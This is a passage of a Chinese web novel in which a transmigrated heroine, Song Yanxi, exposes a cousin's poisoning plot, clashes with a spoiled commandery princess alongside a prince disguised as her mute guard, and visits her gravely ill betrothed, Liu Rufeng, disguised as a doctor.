她朝紫翎看了看,很显然,这是她的手笔了。 紫翎朝她眨了眨眼,算是对她的回应。 “天呐,四妹,竟然真的是你对我下的毒吗?我自问回府后从未得罪过你,你为何一而再再二三地针对我呢?” 宋颜夕一边说,一边掏出帕子擦拭眼角:“我原以为,你与我不过是姐妹间的小打小闹,没想到啊,我把你当姐妹,你却在背地里想要我的命。二哥是这般,你也是这样,或许,我从一开始就不该回来。” 听着她带着哭腔的控诉,刘云香立马察觉不对。 她把宋颜夕叫过来可不是让她哭诉的。 刘云香牵着宋颜夕坐下:“哎呀彩儿,这些都是误会。娇娇与你可是有血缘关系的姐妹,她怎么会害你呢?这些,都是那刁奴在诬陷我们娇娇。” 宋颜夕却并未接话,只是掩着帕子低声啜泣。 “你哭什么?我告诉你,你衣服上的毒根本就不是我让她贱婢下的。” 宋娇娇性子高傲,哪怕跪在地上,脖子却还是挺得很直。 宋颜夕继续哭:“你说不是你指使的,便不是你指使的吧。左右我在这府里也是遭人嫌弃,如今没被毒死已是万幸。难不成还指望父亲为我做主,惩治于你不成?” “说的这是什么话?你是我宋章的女儿,如今在自己家里被人下了毒,为父难道还会袒护那下毒的贼人不成?” 宋章的语气依旧不善,但与宋颜夕说话的时候,却是刻意舒缓了几分。 宋颜夕察觉到这一变化,心中暗忖:果真是会哭的孩子有糖吃啊。 “大哥这是何意?” 如果说方才,刘云香还算是和颜悦色,如今听了宋章的话,也是将脸色沉了下来。 “难道在大哥眼里,我们娇娇就是那下毒的恶人不成?娇娇也是你看着长大的,她什么心性,大哥不了解吗?” 宋章冷哼一声:“正是因为我知道她什么心性,才没将她送到刑部查办。还有你。” 宋章从位子上站起身,走到刘云香面前:“娇娇虽然娇纵,却也是个大门不出二门不迈的官家小姐,上哪儿去弄那腌臜的毒物。不如三弟妹倒是说说看,是何人替她买的毒药?” 面对他审视的目光,刘云香的眼神顿时有些闪烁:“我都说了,毒不是娇娇下的。大哥既然有此疑问,不就更证明了我们娇娇的清白吗?” “看来,你当真是不知悔改!” 眼见这两人就要当着她的面吵起来,宋颜夕忽然说了一句:“其实,我也不愿意相信是四妹妹要害我。或许,我有办法证明四妹的清白。” 刘云香眼睛一亮:“彩儿,你当真有办法?” 宋颜夕也从位子上站起来:“敢问父亲,这认罪书是在何处搜来的?” 宋章沉着脸说道:“自然是在那个叫小怜的婢女房中。” “这不就简单了吗?” 宋颜夕将宋娇娇扶起来:“只要把小怜叫来,让她与四妹对峙,一切不就明朗了吗?” 提起这个,宋章的脸色就更难看了:“哼,那婢女早就失踪了。” “怎么会这样?” 刘云香和宋娇娇交换了一个眼神。 幸好她们早有准备,如今人证已死,宋章便是怀疑她们,只要她们咬死不认,宋章就无法坐实她们的罪名。 “可女儿昨天夜里才见过小怜啊。” 当宋颜夕说出这句话的时候,屋内的几个人都愣住了。 刘云香差点儿没绷住,直接抓住宋颜夕的手:“这怎么可能?我分明......” “分明什么?” “没什么?大哥不是说小怜失踪了吗?我也是好奇才多问一句。” 宋章混迹官场这么多年,怎么会看不出刘云香的问题。 但刘云香毕竟是他弟妹,打断骨头都还连着筋。他便是心中明白这当中的端倪,也只能关起门来解决。 他将目光转移到宋颜夕身上:“彩儿是在何处见到小怜的?” “就在梧桐苑啊,不仅是我,阿翎也到了,是吧阿翎?” 紫翎低声应了一句:“是的,当时小怜好像受了不小的惊吓,一直说有人要害她。姑娘以为她是病糊涂了,还让奴婢替她送些驱寒的药呢,没成想,等奴婢再回去的时候,小怜便不见了,只在地上留下了一滩水。” 听到最后一句话,刘云香和宋娇娇的身体同时一震。 留下一滩水? 派去灭口的嬷嬷回来复命的时候的确是说,亲眼看到小怜溺死后才离开的。 宋娇娇将身子抖得跟筛子似的。她们见到的,该不会是...... 刘云香在宋娇娇的手臂上扭了一下。 宋娇娇吃痛,立刻扬起下巴:“反正如今没有人证,下毒之事,我是不会认的。” 因为没有确凿证据,宋章最后只是让宋娇娇罚跪祠堂三天。 宋颜夕倒是没有什么异议,在宋章面前装了一会儿乖乖女之后,就在紫翎的搀扶下回到了梧桐苑。 在她离开之后,宋章随手招了管家进来。 “二姑娘院里的护卫可找好了?” 管家答道:“手续都已经办妥了,共招了两名护卫,是夫人亲自带到二姑娘院子里的。” 宋章捏了捏眉心:“再去查查那二人的底细,务必要保证彩儿的安全。” 再说另一边,宋颜夕刚走进屋子,就被一个高大的身影抵在房门上。 第72章:又见梦安郡主 “何越,你干什么?” 宋颜夕下意识想要将银针扎进那人的死穴,看到南宫景那张“丑脸”之后,默默收起银针。 南宫景却并没有松开她,而是又逼近了几分:“宋姑娘不解释一下吗?” 宋颜夕眨了眨眼:“解释什么?” 她的确不知道南宫景在闹什么脾气,除了在府里见到他的第一眼她表现出些许嫌弃之外,好像并没有对他做什么。 见她当真是一脸无辜的模样,南宫景没好气地后退两步。 他将双手往身侧抬起,在她面前转了个圈。 “你看看你的人给我找的都是什么衣服?” 宋颜夕这才发现,此时的南宫景已经换上了府上小厮的服装。 也不知是不是因为他的个子太高,那一身衣服穿在他身上显得格格不入。 袖子只堪堪遮住手肘,更夸张的是,裤腿太短,便连小腿肚都没遮住。 外裤里头,还露出一大截洁白的裤管。 如此一看,倒像是大人穿了小孩的衣服,滑稽得很。 宋颜夕没忍住,“噗嗤”一声笑了出来。 “你还笑?” 宋颜夕拍了拍他的胳膊:“哎呀,理解一下嘛。府上小厮的服装都是统一的。大不了,我过几日就给你做一套新的。” 见南宫景的脸黑了下来,宋颜夕又补了一句:“行行行,我马上就去安排。” 宋颜夕唤来紫翎,在她耳边说了几句话。 看到南宫景的时候,紫翎眼中闪过疑惑之色。不过她并没有多问,转身就去完成宋颜夕交代的任务了。 “准备衣物需要些时间,你且先在我房中等上一等。” 宋颜夕忍住笑,给南宫景倒了杯茶:“怎么样,府上没人怀疑你吧?” 南宫景将杯中之茶一饮而尽:“你是在质疑我的能力?” “得了,没问题最好。我告诉你啊,这府中看我不顺眼的人多了,日后跟在我身边,你可得擦亮眼睛,别什么人都信。” “听你话里的意思,你知道有人要害你?” “日后你就知道了。” 当天晚上,南宫景在宋颜夕房中待了很久,二人聊了些黑铁矿的事情,又东一句西一句,扯了些无关紧要的东西。 紫翎捧着新衣服进来的时候,正好看到宋颜夕和南宫景谈笑风生。 她眼中闪过诧异之色,偷偷打量起南宫景。 宋颜夕将衣服塞到南宫景手里:“如今衣服也给你准备好了,你可以走了吧?” 南宫景倒是没再说什么,抱着衣服离开了。 回到何花给他准备的下人房时,却见阿贵坐在床头阴恻恻地看着他。 “看不出来啊,你这哑巴还挺会讨主子欢心。” 他的目光落在南宫景手上的新衣服上:“竟还讨了新衣服,就你这样丑陋的东西,哪儿配得上这么好的衣裳?” 南宫景连一个正眼都没有给他,径自走到另一张床踏上合衣躺下。 这种小喽喽,还不值得他放在眼里。 阿贵眼中却闪过阴毒之色,他可是带着任务来的,必须把这丑八怪赶走,他才能完成那人交代的任务。 另一边,宋颜夕抓起一块糕点塞进嘴里:“对了,让你办的事办得怎么样了?” 紫翎收起思绪,道:“林音镇那边已经派人过去了,身份的事,不会有问题。另有十人隐在相府附近,只要姑娘一声令下,我们便可以马上行动。” “很好,如今万事俱备,只欠那藏宝图了。” 宋颜夕的食指和拇指轻轻摩擦,很快就有了主意。 ...... 第二天,宋章便亲自带着宋颜夕去大长公主府致谢。 再次来到公主府,宋颜夕并没有太多情绪。 大概是因为上一次在公主府中了毒,除了紫翎之外,宋章还破格把南宫景和阿贵也带上了。 面见公主的时候,紫翎随侍在旁,南宫景和阿贵则在厅外等候。 “这么些日子没见,宋丫头的身子可是都恢复了?” 宋章拱手答道:“回公主,小女的身子已经无碍了。此番携小女前来,是为了感谢公主殿下赐礼。” 大长公主手一挥:“不过是些小玩意儿罢了,还劳烦宋相亲自跑一趟。都坐下吧。” 待他们二人坐下之后,大长公主继续开口:“想必战王也跟你们说过那件事了吧,本宫第一次见宋丫头的时候就喜欢得紧,认亲之事,宋相可有意见?” “承蒙公主厚爱,能认公主为母,是小女的福气。” 全程都是宋章和大长公主对话,宋颜夕只需要规规矩矩在一旁坐着便是。 二人又商议了一些细节,大长公主便着人去挑选良辰吉日了。 宋颜夕坐在那儿,心中却在计算,该如何才能推了这认亲之事。 “此事本宫与你父亲商议便是,宋丫头,你便去园子里逛逛吧。” 得了大长公主的准许,宋颜夕赶紧福身退下。 从厅里出来之后,阿贵和南宫景立马跟上。 在院子里逛了一会儿,视线里忽然出现一道熟悉的身影。 没想到一月之期还没到,梦安郡主倒是已经被放出来了。 宋颜夕一拍大腿:“机会这不就来了嘛。” 她嘴角一勾,加快脚步朝李梦安的方向走去。 很快,李梦安也看到了她。 “好啊,你这女人竟然还敢来公主府。让你算计本郡主,看我不撕烂了你的嘴。” 就在李梦安冲过来的时候,阿贵忽然在南宫景背上重重推了一下。 南宫景一时不查,竟真的被他推到了宋颜夕的身旁。 宋颜夕不解,转头看向南宫景。 【你干嘛突然冲上来?】 南宫景朝她使眼色:【有人使坏】 宋颜夕扯了扯嘴角,真是没想到,小厮之间的竞争竟然也如此激烈。 “你这村姑,今日还带了打手是吧?” 李梦安原本是想好好教训宋颜夕的,可是看到她身边高大的南宫景之后,疾走的步伐瞬间慢了下来。 当她走近,看清南宫景如今的容貌时,瞬间又有勇气了。 “果然是什么人配什么狗,宋彩衣,你上哪儿找的丑八怪,带出来也不怕丢人。” 宋颜夕心中一喜,她还怕李梦安不找茬呢。 既然大长公主如此疼爱这位梦安郡主,只要她把李梦安打一顿,还怕公主不收回认亲的决定吗? 她摩拳擦掌,正要动手,有人却比她更快一步。 南宫景轻轻一抬手,李梦安就被他扇飞出去。 他们站立的地方正好是池塘边,只听“噗通”一声,李梦安直接一个倒挂金钩...... 钻进了池塘深处。 第73章:计划失败 “你这刁奴,竟敢推本郡主下水,本郡主这就去找表姑母,你们都给我洗干净脖子等着。” 被人从池塘里捞出来之后,李梦安抱着胳膊瑟瑟发抖,牙齿已经在打仗,那倔强的字却还是一个一个往外蹦。 看着李梦安哆哆嗦嗦的背影,宋颜夕撞了撞南宫景的胳膊。 “喂,你下手会不会太重了?” 南宫景请哼一声没有说话。 宋颜夕这才想起来,这人如今的人设是个“哑巴”。 落后他们几步的阿贵见此,嘴角勾起一抹邪恶的弧度。 这丑八怪果然是没有脑子,公主府的人是他区区一个护卫能伤的吗? 听那女人话里的意思,还是个郡主呢。 听说大长公主有一个极为疼爱的晚辈,似乎也是个郡主,莫非就是刚才那个? 如此想着,阿贵的嘴角越扯越大:这下,那丑八怪死定了。 宋颜夕拉着南宫景走到一边,示意阿贵不要跟上来。 阿贵倒是听她的话,规规矩矩站在原地。 “你跟那个阿贵,有仇?” 确认那人听不见他们的谈话之后,宋颜夕再次开口问道。 南宫景背对着阿贵,低声回了一句:“倒是个碍眼的东西,你且找个由头将他打发了。” “那可不行。” 听到宋颜夕的话,南宫景眼中闪过诧异:“这种品行不端之人,你还留着做什么?” “说得好像你品行端正似的,别忘了,你自己也是个贼。” “你拿我和他比?” 不知为何,南宫景心中隐隐生出几分愠怒。 “这就生气了?” 宋颜夕不免觉得好笑:“别这么小气嘛,我也不是非要留着他,但我即便是把他打发了,某些人不还是会安插其他人进来,我又何必给自己找麻烦呢?” “你竟知道他的来历?” “虽说不知道他背后的主人是谁,但他的背景绝对不简单。” 宋颜夕的余光从阿贵身上扫过。 她身居高位多年,怎么可能连这点门道都瞧不出来? 如今她身份特殊,与相府、安远侯府、大长公主府都扯上了关系,那些在背后蠢蠢欲动的势力或许早就盯上她了。 她忽然又想到那日在径山寺遭遇的刺杀。 杀手的身份至今未查明。 或许,她早就在不知不觉中卷入了上京城权谋的漩涡当中。 若只是这些也就罢了,这几日她又捋了一遍原主的记忆,仍然无法想起原主究竟是怎么死的。 当日和李娘子摊牌的时候,她也没从李娘子口中问出有用的信息。 因此,还有一种更糟糕的可能。 原主身上还有她不知道的秘密,而这个秘密,会让她招来杀身之祸。 想到这些,她有些头疼。 伸手捏了捏额角之后,她长叹一口气:“想要我命的人太多,日后,怕是还要仰仗何二哥了。” 南宫景正要开口,却见不远处匆匆走来一个人影。 是上回被紫翎拍晕了的庄嬷嬷。 庄嬷嬷带了公主口喻,让宋颜夕立刻去见她。而且,还勒令,让她带上那个丑陋的护卫。 宋颜夕咧嘴一笑,看来,是李梦安告状成功了。 兴奋状态的她没有发现,当庄嬷嬷看到那个“丑陋”的护卫时,眼中一闪而过的惊讶。 她快速回到方才离开的地方,还没走进正堂,就听见李梦安“嘤嘤嘤”的哭泣声从屋内传来。 果然,刚踏进去,李梦安跪在大长公主旁边,身上的湿衣服还没换下,瞧着倒是楚楚可怜的。 看到宋颜夕的时候,李梦安立刻指着她:“表姑母,就是她唆使护卫推我下水,他还,扇了我一巴掌。表姑母,您可要为我做主啊。” 大长公主的脸上倒是没看出什么情绪,反倒是一旁的宋章阴沉着脸。 若非场合不对,他怕是已经从位子上跳起来质问宋颜夕了。 “宋丫头,梦安说的可是真的?”大长公主问道。 宋颜夕点头:“没错。” “表姑母您都听到了吧!这女人竟然在您的眼皮子底下对我动手,摆明了是不把您放在眼里。您可得为安儿出气啊。” 宋颜夕将脑袋微微垂下:就是这样,能说你就多说点。 最好是直接让大长公主当场宣布取消收她为义女的决定。 然而她等了很久,都没再听到大长公主的声音。 抬头一看,却见大长公主盯着她身后的南宫景。 额 看大长公主那一言难尽的表情,想必也是被某人的“丑”深深打击了。 正要出声拱火,大长公主却开口了:“你就是那个打了梦安的护卫?” 南宫景点头。 “为何打人?” 宋颜夕赶紧抢先回答:“臣女这护卫是个哑巴,大长公主有什么问题问臣女便是。” 大长公主的嘴巴抽了抽:“那便由宋丫头你来说吧。” 宋颜夕添油加醋地把事情说了一遍,李梦安在一旁听着,气得牙痒痒。 “你少在那顾左右而言他,不过是个下贱的奴才,本郡主说他两句怎么了?如此恶奴,就该直接杀了。” 话音刚落,大长公主却直接赏了李梦安一个巴掌。 “啪~” 清脆的巴掌声在厅堂中响起。 “身为郡主,竟视人命为草芥。你父王便是这么教你的吗?” 宋颜夕眨了眨眼,什么情况?大长公主竟然当众扇了李梦安一个大巴掌? 李梦安直接被打懵了。 她捂着脸跪在那儿,就这样眼巴巴盯着大长公主,连哭都忘了。 “表姑母,您竟然也打我?” 这一声,多少是有些委屈在里面的。 然而大长公主不为所动,直接大手一挥就让人把她拖下去了。 “滚回你的卢郡王府去,等你什么时候想明白了,再来见本宫。” 李梦安是哭嚎着被拖走的,经过宋颜夕身边的时候,那双眼睛里迸发出来的火花仿佛要将她焚烧殆尽。 宋颜夕长叹一声,看来,大长公主是不会放弃她这颗棋子了。 普通的法子行不通,认亲之事,还需另谋他计。 “今日这事便到这儿吧,宋相且先带丫头回去,待钦天监择好日子,本宫再通知宋相。” 正当宋章带着宋颜夕离开的时候,庄嬷嬷却将南宫景拦了下来。 第74章:吓我一跳 “嬷嬷这是何意?” 宋颜夕看着庄嬷嬷,不动声色地将南宫景往身后推了推。 庄嬷嬷见此,眼角闪过隐晦的笑,脸上却还是那一板一眼的表情。 “这护卫害梦安郡主落实,总是要受些惩罚的。宋二姑娘,还请您莫要为难奴婢。” “公主方才可并未说要惩治于他。” 虽然知道南宫景很有本事,但这儿毕竟是大长公主府,宋颜夕不敢保证,若是把南宫景单独留下会有什么后果。 人是她带来的,她就必须将人完完整整地带回去。 “胡闹!” 宋章直接将宋颜夕拉到一边:“公主殿下没有治你的罪已经是对你法外开恩了,竟还敢为了一个护卫质疑公主的决定?还不快随我回府?” 宋颜夕还想说什么,却收到了南宫景给她使的眼色。 【放心吧,我自有金蝉脱壳之计】 等到宋章拉着宋颜夕走远,庄嬷嬷才命人将大门关上。 门合上的那一刻,她立刻在南宫景面前跪了下来。 “老奴给殿下请安。” 南宫景摆了摆手,转身朝府内走去:“此事本王会向阿姊解释,你去替本王寻个医术好的,本王自有用处。” 此时此刻,大长公主已经换了一身便服靠坐在长廊下赏花。 “哟,我们家小护卫来了?” 见了南宫景,大长公主忍不住揶揄。 南宫景轻咳一声:“阿姊,是在取笑弟弟吗?” “取笑谈不上,”大长公主朝他招了招手,示意他在她身旁坐下。 “不过我倒是很好奇啊,某些人放着好好的王府不住,非要跑到人家小姑娘府上当什么护卫,还扮丑装哑,这到底是为什么呢?我可是记得某人曾经说过,对宋丫头没有那方面心思的。” 她一脸嫌弃地在南宫景脸上捏了捏:“你这脸实在是丑,赶紧洗干净了。” 说着,她朝不远处比了个手势,立刻有丫鬟端着水盆和湿毛巾上前。 南宫景却是摆了摆手:“洗了还得再画,麻烦。” 见大长公主仍然盯着他,他组织了一下语言,继续说道:“我混进相府自有我的目的,阿姊就莫要多管了。至于宋二姑娘,你若当真喜欢,将她收作干女儿,我也是没有意见的。” “你可要想清楚了,此事一旦成了,你与她可就再没可能了。” 毕竟,还差着辈份。 南宫景似乎下定了某种决心:“我与她,本就没有可能。” 或许,他曾经还怀疑宋颜夕的身份。 但经过他多次试探,已经可以确定,她不是月容。 既然她不是月容,他便要彻底断了与她的一切可能。尤其是他们之间还有一桩虚假的婚姻。 让她成为阿姊的义女,便可以彻底斩断这层关系。 “罢了罢了,你们年轻人的事情啊,我是看不懂了。想怎么折腾也随你们去吧。不过有一件事我很好奇,小景你既然对宋丫头无意,当初在禁地为何赠她银两,还让段恒一路护送她下山?” 南宫景看向大长公主:“阿姊便是因为此事,才让她留宿府上?” “当然了,那时我还以为你对人家小姑娘一见钟情了呢。没曾想竟是我误会了。” “其实,我与她,也算是故交。” 南宫景将宋颜夕曾经救过他的事告知大长公主,却隐瞒了他们曾经在小樟村假成亲的事情。 “原来如此,这么说来,宋丫头可真是咱们姐弟俩的福星啊。那丫头与柳家小子倒也是绝配,可惜啊,这丫头福薄,注定是守寡的命……” 南宫景眉头一皱,莫名觉得这话十分不吉利。 大长公主没察觉到他的变化,摇了摇头:“日后,本宫可要好好疼她才是。” …… 当天晚上,宋颜夕一直在梧桐苑等着,一直等到三更天才看到血淋淋的南宫景躺在担架上被人抬了回来。 “怎么伤成这样?” 担架上的南宫景双目紧闭,瞧着像是晕死过去了。 大长公主府的小厮将南宫景抬到下人房便离开了。 因为屋内还有个阿贵,宋颜夕没有对他表现出太大的关心,让紫翎给他找了大夫之后便离开了。 等到所有人都睡下之后,宋颜夕再次潜入下人房。 她的动作很快,进房的第一件事就是把阿贵扎晕。 正当她打算查看南宫景的伤势时,刚才还昏迷不醒的人却突然睁开了眼。 “你是装的?” 南宫景冲她眨眨眼:“不装病,怎么替你找东西。” 宋颜夕了然。 她没有问他是怎么躲过刑罚的,而是压低了声音说道:“赶紧起来,我带你熟悉熟悉环境。” “现在?” “不然呢?” 宋颜夕转身朝门外走去:“动作快点。” 南宫景吐出一口气,果然啊,这女人还是一如既往地喜欢命令他。 可怕的是,他现在好像渐渐习惯了这种命令。 就比如此时,他用最快的速度换了衣服,然后,快步走向那个倚靠在柱子上的绝色女子。 宋颜夕看了他一眼,率先朝前走去。 二人并肩走在月光下,有很长一段时间都没有说话。 虽然偶尔有巡逻的护卫经过,但凭他们俩的本事,躲过那些人的眼睛并非难事。 “那是何处?” 南宫景指着不远处那灯火通明的院子问道。 宋颜夕:“那是三房的院子。三叔宋德、三婶刘云香以及他们的女儿宋娇娇便住在那个院子里。” 她也很好奇,都这么晚了,三房怎么还未熄灯。 难不成,是因为宋娇娇的事儿? 她挑了挑眉:“咱们去瞧瞧热闹?” 南宫景不置可否,却是很老实地跟在宋颜夕身后朝三房的院子摸了过去。 “嘘!” 靠近主屋之后,宋眼夕朝他比了个噤声的手势。 很快,屋内就传来刘云香的怒骂声。 听起来,他们确实是为了宋娇娇的事情在吵架,而且吵得还很激烈。 宋颜夕轻轻将窗户推开一条缝,透过缝隙看向屋内。 结果,刚推开窗就和一双碧绿色的眼珠子对上。 宋颜夕被惊得后退一步,手肘不小心撞到窗户,发出沉闷的声响。 正在和刘云香争吵的宋德立刻朝这边看了过来。 “谁在外面?” 第75章:偷听 关键时刻,是南宫景揽着宋颜夕的腰跳到屋顶上。 宋德推窗一看,却见外面空荡荡的。 一阵冷风吹来,他搂住胳膊,将窗户重新关上。 而在窗户边,趴着一只慵懒的猫。 屋顶上,宋颜夕沉沉吐出一口气。 南宫景掀开其中一片瓦片,示意她过去。 透过微弱的光,宋颜夕再次看到屋内的景象。 刘云香将一个茶杯扔在地上:“我怎么就嫁了你这么个窝囊废,你要是不去救娇娇,我就自己去。大不了,我就撞死在祠堂前,我倒要看看他宋丞相如何跟列祖列宗解释。” 宋德立刻拦下暴走的刘云香:“你这是做什么?还嫌事情闹得不够大吗?不过是罚跪祠堂而已,再过一日便放出来了。” “不过是罚跪祠堂而已?娇娇都已经在祠堂跪了两天了,我告诉你宋德,今日我必须把娇娇接回来。你不心疼女儿,我心疼。” 眼见刘云香又要往门口闯,宋德直接一巴掌扇到她脸上。 刘云香不可置信地看着他:“你竟然打我?” “打的就是你。要不是你把娇娇带坏了,她能做出这种糊涂事吗?以前的事,我睁一只眼闭一只眼也就罢了,但这次你们竟然公然毒害二丫头,我若是再惯着你们,才是真的害了娇娇。” “连你也觉得这件事是娇娇做的吗?我都说了,我们没有在她衣服上下毒。” “没有在她衣服上下毒,就可以在茶水中下春药吗?” 宋德的话一出口,刚刚还义愤填膺的刘云香瞬间呆愣住:“你,你说什么?什么茶水,春药,简直是无稽之谈。” “事到如今你还不肯承认。刘云香啊刘云香,你该不会以为把那奴才灭了口就没人知道你们背地里干的那些龌龊事吧?” 这下,刘云香彻底不说话了。 宋德猛地给自己灌了一口茶:“我能查到,大哥自然也能查到。如今他只是罚娇娇跪祠堂,你们就该偷着乐了。若娇娇不是我女儿,此刻就该被关在刑部大牢里。” 屋顶上,南宫景抬头看着对面那个专心致志偷听的女子。 春药? 也亏得这女人医术超群,若是换做真正的宋彩衣,怕是真着了那两人的道。 “我就不明白了,二丫头到底碍着你们什么了?你们非得这么针对她?” 刘云香的语气比方才软了很多:“要怪,就怪大哥大嫂太偏心。凭什么那个乡下来的能嫁进安远侯府那样的高门大户?而我们娇娇呢,这些年在他们面前日日讨好,倒是一点好处都捞着。” “无知妇孺!” 宋德一甩衣袖:“你当真以为,那安远侯世子是良人吗?” “你这是什么意思?” 宋章冷哼一声:“有时间动那些歪心思,不如好好想想,若那柳如风真这么好,咱们那位大嫂会将这大好的婚事拱手让人?” 宋颜夕趴在屋顶上听了好一会儿,倒是得到了一个有用的线索。 安远侯府的那位世子,怕是活不到开春了。 回去的路上,南宫景一直在观察她的表情。 “有什么想问的就问吧。” 宋颜夕语气平静,似乎并没有因为刚才那个消息而影响情绪。 “你当真要嫁给柳如风?” “是啊,在外人眼里,这可是一门顶好的婚事呢。” 毕竟,知道柳如风重病之人少之又少。 或许安远侯府急着敲定婚事,连新娘换人都能容忍,便也是存了冲喜的心思。 “可他是个将死之人,你就甘心一辈子守寡?” 宋颜夕不答反问:“何二哥,这是在关心我?” “随口一问罢了。”说着,南宫景将脑袋转到一边。 很快,宋颜夕轻柔的声音就撞入他的耳中:“若是旁人,或许还真的得守寡了。但本姑娘是谁啊,没有本姑娘的允许,阎王爷没这么容易收走柳如风的命。” 南宫景转头看着她:“你能治他的病?” 宋颜夕耸了耸肩并未说话。 她还不知道柳如风到底得了什么病,但即便是不能将他彻底治愈,拖他个一年半载倒也不是问题。 不过眼下,柳如风还不是最重要的。 她得想办法先把那批黑铁矿找出来。 第二天,宋颜夕就以南宫景伤重为由,给他单独安排了一个房间,而且给他放假五天。 在这五日之内,南宫景偷偷将几个可疑的地方搜了个遍,但都一无所获。 “连你也没找到?宋章到底把那盒子藏在哪儿了呢?” 宋颜夕坐在南宫景屋里,手指头轻轻扣着桌面。 南宫景也在思考这个问题。 很快,他们的脑海中闪过一个主意。 对视一眼之后,他们同时站了起来。 “会不会,东西已经不在相府了?” “也不是没有这个可能。” “不是说宋章很宝贝那个盒子吗?他当真会将那东西送人?” 南宫景沉思片刻,道:“只要有一丝蛛丝马迹咱们都不能放过,你且好好想想,宋章这几日都和什么人接触过?” “其他人我不知晓,但若是来过府上的话。楚王算一个。哦,对了,还有安远侯。” “楚王,安远侯?” 南宫景背手在屋里走了几步:“你认为,若是送人的话,这二者谁的可能性更大?” “不好说。” 宋章和楚王交好,这是众所周知的。 而安远侯与宋章又有姻亲关系,而且安远侯此人向来喜欢风雅之物,他若是将那盒子当做礼物送给安远侯,也不是没有可能。 “如此,咱们就只能逐一排查了。” 宋颜夕立刻敲定,先查安远侯。 没有其他原因,她只是纯粹地想要看看她那位短命的“未婚夫”究竟是个什么样的人。 毕竟,锦心公子的名号,她在西菱便有耳闻。 第二天,宋颜夕便带着南宫景和紫翎光明正大地出了相府。 原本她是不能随意出府的,但就在前几日,大长公主差人给她送了一块令牌。 有了这令牌,宋颜夕便是出府也没人敢拦着。 宋章虽对此颇有意见,但毕竟大长公主的威仪在那摆着,便是再不满,他也不能违逆。 “那就是安远侯府?” 中途,紫翎带着另外两个人甩掉身后跟踪的尾巴。而换了衣服的宋颜夕和南宫景则乔装打扮往相反的方向而去。 此刻,他们就站在一座高大的府邸面前。 南宫景指了指大门的方向:“怎么样,宋姑娘是想直接进去,还是翻墙?” “这大白天的,翻墙多不礼貌啊。” 宋颜夕捋了捋脸上的假胡子,举着“悬壶济世”的幡旗敲响了安远侯府的大门。 第76章:初见柳如风 大门很快就被打开。 一个小厮模样的人站在门后,他看了看宋颜夕,又瞅了瞅她身后那个高大的男人:“你们是何人?” 宋颜夕将幡旗往他眼前一送:“看不出来吗?本神医给你们家世子瞧病来了。” 那小厮愣了一下,随机将她往外推了推:“去去去,哪儿来的骗子,我家世子康健着呢。” 眼看那小厮就要重新把门关上,宋颜夕漫不经心地说了一句:“若我说,我有法子让你们世子活到明年冬天呢?” “我都说了,我家世子没病。” 正在此时,门后忽然传来一阵急切的脚步声。 隐约还伴随着一些嘈杂的声音。 南宫景在宋颜夕耳边说了几个字。 宋颜夕微微一笑,再次指了指“悬壶济世”四个字:“你确定,不让我进去瞧瞧?本神医若是走了,世间便再无人能救你家世子。你姑且掂量掂量,自己能不能担得起这个罪责。” 小厮犹豫片刻,最后咬牙说道:“你且在此稍候片刻。” 说完,他啪一声关上门。 宋颜夕和南宫景对视一眼,不约而同地朝门前的两座石狮子靠了过去。 没过一会儿,大门再次被打开。 这次出来的却是一个穿着褐色长袍的中年男人。 宋颜夕被领到柳如风住处的时候,屋子里已经乱成一团。 浓重的药味从屋里蔓延到院子里,不时有丫鬟进出,抱出一些沾了血的衣物。 宋颜夕眉头微蹙,这位锦心公子果真病得不轻。 “看来,你这未来夫君性命堪忧啊。” 南宫景在她身后阴测测说了一句,尤其是加重了“未来夫君”四个字。 宋颜夕似笑非笑地转身看向他:“你这酸溜溜的语气是怎么回事?难不成,你对我......” “你想多了。” 南宫景将身上的药箱挂在她脖子上,将她身子掰正往前推了两步:“里面的人还等着你救命呢,别磨蹭了。” 那个穿着褐色长袍的中年男人进屋和里头的人说了几句话之后,便快步走到宋颜夕身边:“神医,里边请。” 宋颜夕将幡旗扔到南宫景手里:“你在外头候着。” 南宫景规规矩矩地站到一旁,而宋颜夕则在那中年男人的带领下进了屋。 刚进屋,就听到一阵低沉急促的咳嗽声。 宋颜夕往床榻的方向看了几眼,正好看到几个丫鬟匆匆将床幔放下。 她不再停留,径直走到床边坐下。 透过床幔,依稀可见里头那人散落的青丝。 “世子,请伸手。”宋颜夕压低了声音说道。 里面的人犹豫片刻,还是将手从床幔下伸了出来。 宋颜夕将手搭在那白皙的手腕上,接下来的很长时间,屋内无人再说话。 房间里很安静,柳如风沉重的咳嗽声如锯齿一般,一下一下撕扯着空气。 “世子这病,不简单啊。” 宋颜夕捋了捋胡子,抬头看向旁边的中年男人,“不知世子是何时染上的病?” 中年男人似乎有所犹豫,最终,还是开口答道:“已经,八月有余。” 宋颜夕又问:“可否让我瞧瞧世子的药方?” “这怕是不妥......” 若是泄漏了药方,万一有人对世子下手,可就...... 中年男人正要拒绝,却听帘子后的那人无力地说了一句:“给他吧。” 声音很轻,却不难听出,这男人的声线清澈如泉。 宋颜夕忍不住抬头看了几眼,只可惜视线被遮挡,看不清柳如风的真容。 药方很快就被送到宋颜夕手上。 都是些寻常药物,瞧着倒也没什么问题。 她将药方放下,又问:“可否将这床幔挂起?如今我摸了世子的脉,还需瞧瞧世子的面容才能对症下药。” 中年男人面露难色:“并非我不愿让神医看,只是我们家世子......” “你大可放心,我行医多年,自然知道规矩。关于世子的病症,我绝对不会泄漏半个字。” 很快,宋颜夕就知道他们用床幔遮住柳如风容颜的原因。 眼前的柳如风,与她想象中有很大的差异。 根据她曾经获得的情报,柳如风不仅惊才艳艳,而且俊逸儒雅,颇有潘安之貌。 但眼前之人,脸色暗沉,双眼暗淡无光,眼下瘀青不散已散发出一股死气。 不仅如此,他的右脸甚至还长了一块毒斑,许是因为没有得到很好的救治,斑块已经有腐烂的迹象。 “抱歉,在下容颜丑陋,吓着神医了。咳咳咳......” 刚说了几个字,柳如风又开始剧烈咳嗽起来。 “世人皆知锦心公子才貌双全,区区毒斑如何能挡得住您的风姿?况且公子才识过人,必不会为这小小的污垢所累。” 柳如风闻言,诧异地看向宋颜夕。 自从生病之后,他便幽居在这庭院之中。 虽然他父亲对外隐瞒了病情,但在这上京城中,哪儿有什么绝对的秘密呢? 且不说往日里对他阿谀奉承的人对他避之不及,就连身旁这些侍奉的丫鬟仆役也没少在背后取笑他。 但眼前之人的目光却格外坦荡。 在他眼里,柳如风没有见到一丝嘲讽与嫌弃。 那一刻,他忽然便笑了。 “倒是我狭隘了。神医有什么需要的尽可吩咐冯叔,我这身子骨自己知道,便是治不好,我安远侯府定不会知你的罪。” 他口中的冯叔,便是那身穿褐色衣袍的中年男人。 